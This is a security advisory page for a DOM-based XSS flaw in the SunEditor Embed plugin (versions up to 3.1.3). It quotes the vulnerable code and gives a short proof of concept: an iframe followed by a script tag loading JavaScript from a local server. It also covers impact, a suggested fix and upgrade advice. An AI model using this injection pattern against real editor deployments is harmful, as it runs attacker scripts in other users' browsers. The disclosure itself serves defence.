GHSA-w93q-cq9w-58p7: XSS

Published Aug 26, 2026
·
Updated

Summary

A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.

If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.

Details

The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.

Relevant behavior:

const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);

Because the script is newly created and appended, it executes.

PoC

Start a local server hosting a JavaScript payload:

mkdir -p /tmp/suneditor-poc cd /tmp/suneditor-poc

cat > poc.js <<'EOF' alert(1); console.log("SunEditor Embed Plugin XSS executed"); EOF

python3 -m http.server 8000

Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :

<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script> Successful exploitation is confirmed when:

alert(1) appears

or the local server logs:

GET /poc.js

Impact

An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.

The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.

Suggested Fix

Do not recreate or append script elements from user-controlled embed HTML.

Minimum mitigation:

if (/^script$/i.test(chd.nodeName)) { continue; }

A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.

Affected Software

1 affected componentFixes available
npm/suneditor<=3.1.3
3.1.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/suneditor to a version that resolves this vulnerability.

    Fixed in 3.1.4
  2. Configuration

    Update SunEditor Embed plugin processing so it only permits expected embed elements such as iframe or blockquote, sanitizes their attributes, discards all other sibling elements, and specifically prevents recreating/appending attacker-controlled <script> elements (including cases where a <script src=...> follows a valid <iframe>).

    SunEditor (Embed plugin) Embed HTML sanitization / DOM handling = Allow only expected embed elements (e.g., iframe, blockquote), sanitize their attributes, and discard all other sibling elements; never recreate/append <script> elements from user-controlled embed HTML

Event History

Aug 26, 2026
Advisory Published
via GitHub·03:26 PM
Data Sourced
via GitHub·03:26 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

When can this issue be exploited?

An attacker needs to supply embed HTML containing a valid iframe followed by a script element with an attacker-controlled src attribute. The vulnerable Embed plugin recreates that script element and appends it to the editor page DOM, causing the external JavaScript to execute.

2

Which deployments are most exposed?

Applications that store or reflect SunEditor content without separate backend sanitization are exposed to stored or reflected XSS. The payload may execute when another user opens, previews, renders, or edits the malicious content.

3

What can reduce risk before a fix is applied?

Apply backend sanitization to SunEditor content before storing or rendering it, particularly stripping script elements and untrusted embed HTML. This is relevant because the affected plugin processes attacker-supplied raw embed HTML.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203